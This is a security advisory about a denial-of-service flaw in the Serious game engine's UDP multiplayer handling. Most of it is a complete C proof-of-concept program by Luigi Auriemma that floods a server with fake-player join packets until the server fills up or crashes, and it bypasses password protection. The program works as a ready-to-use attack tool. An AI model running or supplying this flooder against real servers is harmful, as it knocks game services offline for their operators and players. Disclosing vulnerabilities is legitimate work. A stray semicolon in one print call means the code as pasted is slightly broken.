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Serious Game Engine UDP DoS Vulnerability
------------------------------------------------------------------------
SUMMARY
The Serious engine is a well known game engine developed by
<http://www.croteam.com> Croteam and used by various games.
A denial of service is possible against a server written with Serious and
using the UDP protocol for multi-player connectivity.
DETAILS
Vulnerable Systems:
* Alpha Black Zero
* Nitro family
* Serious Sam Second Encounter 1.07, possibly prior
Note: The game engine is vulnerable on all supported platforms: Windows,
Linux and Mac.
Game servers that are using UDP as the communications protocol for
managing games can be brought down by supplying a continuously long stream
of packets to the server, each representing the joining of a new player.
The server does not limit the amount of possible players and will crash if
a sufficiently large number of (fake) players join. As stated above, only
one packet is required in order for a player to be constituted as part of
the server. In addition, triggering a denial of service in this way does
not require any special authentication, e.g: knowing the password for
password protected games. This vulnerability is more general and broader
in scope.
A proof of concept is supplied by Luigi and can be downloaded from:
<http://aluigi.altervista.org/fakep/ssfakep.zip>
http://aluigi.altervista.org/fakep/ssfakep.zip
The brunt of the PoC is pasted below.
Proof Of Concept
/*
by Luigi Auriemma - http://aluigi.altervista.org/fakep/ssfakep.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include <malloc.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.3"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEOUT 3
#define WAITSEC 5
#define MAX 32
void check_tcp_fakes(int *sd, int num, u_char *buff, int buffsz);
void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
int sd[MAX],
len,
i,
wait,
on = 1;
u_short port = PORT;
u_char *buff,
stcp[] =
"\x1F\x00\x00\x00\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00"
"\x07\x47\x41\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01"
"\x00\x00\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00",
sudp[] =
"\x2E\x00\x00\x00\x00\x00\x2F\x2F\x01\x00\x00\x00\x41";
setbuf(stdout, NULL);
fputs("\n"
"Serious engine Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n";
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <type> <server> [port(%u)]\n"
"\n"
"Types:\n"
" 0 = TCP: Serious Sam (FE and SE) <= 1.05 and Carnivores:
Cityscape\n"
" 1 = UDP: Alpha Black Zero, Nitro family, Serious Sam Second
Encounter 1.07\n"
" Causes the crash of the server!!!\n"
"\n"
" Note: if the server is protected by password you can attack
it without to\n"
" to know the keyword\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
printf("- request informations to port %d:\n", port + 1);
gs_info_udp(peer.sin_addr.s_addr, port + 1);
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(!atoi(argv[1])) {
fputs("- TCP type selected\n", stdout);
for(;;) {
for(i = 0; i < MAX; i++) {
fputs("\n Player: ", stdout);
sd[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd[i] < 0) std_err();
if(connect(sd[i], (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(send(sd[i], stcp, sizeof(stcp) - 1, 0)
< 0) std_err();
fputc('.', stdout);
if(timeout(sd[i]) < 0) {
close(sd[i]);
break;
}
len = recv(sd[i], buff, BUFFSZ, 0);
if(len < 0) std_err();
fputc('.', stdout);
if(*buff != 0x02) fputs(" wrong reply, but I try to
continue the attack", stdout);
}
fputs("\n"
"- server full\n"
"- check for disconnections:\n", stdout);
check_tcp_fakes(sd, --i, buff, BUFFSZ);
fputs("- one or more players have been disconnected\n",
stdout);
for(; i >= 0; i--) close(sd[i]);
}
} else {
fputs("- UDP type selected\n", stdout);
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = time(NULL);
peerl.sin_family = AF_INET;
for(;;) {
for(;;) {
fputs("\n Player: ", stdout);
sd[0] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd[0] < 0) std_err();
if(setsockopt(sd[0], SOL_SOCKET, SO_REUSEADDR, (char
*)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd[0], (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
if(sendto(sd[0], sudp, sizeof(sudp) - 1, 0, (struct
sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
if(timeout(sd[0]) < 0) {
fputs("\nError: Socket timeout, no reply
received\n\n", stdout);
exit(1);
}
len = recvfrom(sd[0], buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
fputc('.', stdout);
}
fputs("- server full\n", stdout);
for(wait = WAITSEC; wait; wait--) {
printf("%3d\r", wait);
sleep(ONESEC);
}
}
}
return(0);
}
void check_tcp_fakes(int *sd, int num, u_char *buff, int buffsz) {
fd_set rset;
int i,
sel = 0;
for(i = 0; i <= num; i++) {
if(sd[i] > sel) sel = sd[i];
}
sel++;
for(;;) {
FD_ZERO(&rset);
for(i = 0; i <= num; i++) FD_SET(sd[i], &rset);
if(select(sel, &rset, NULL, NULL, NULL)
< 0) std_err();
for(i = 0; i <= num; i++) {
if(FD_ISSET(sd[i], &rset)) {
if(recv(sd[i], buff, buffsz, 0) <= 0) return;
fputc('.', stdout);
break;
}
}
}
}
void gs_info_udp(u_long ip, u_short port) {
struct sockaddr_in peer;
int sd,
len,
nt = 1;
u_char buff[2048],
*p1,
*p2;
peer.sin_addr.s_addr = ip;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nAlert: Socket timeout, no reply received\n\n", stdout);
close(sd);
return;
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
p1 = buff;
while((p2 = strchr(p1, '\\'))) {
*p2 = 0x00;
if(!nt) {
printf("%30s: ", p1);
nt++;
} else {
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
printf("%s\n\n", p1);
close(sd);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
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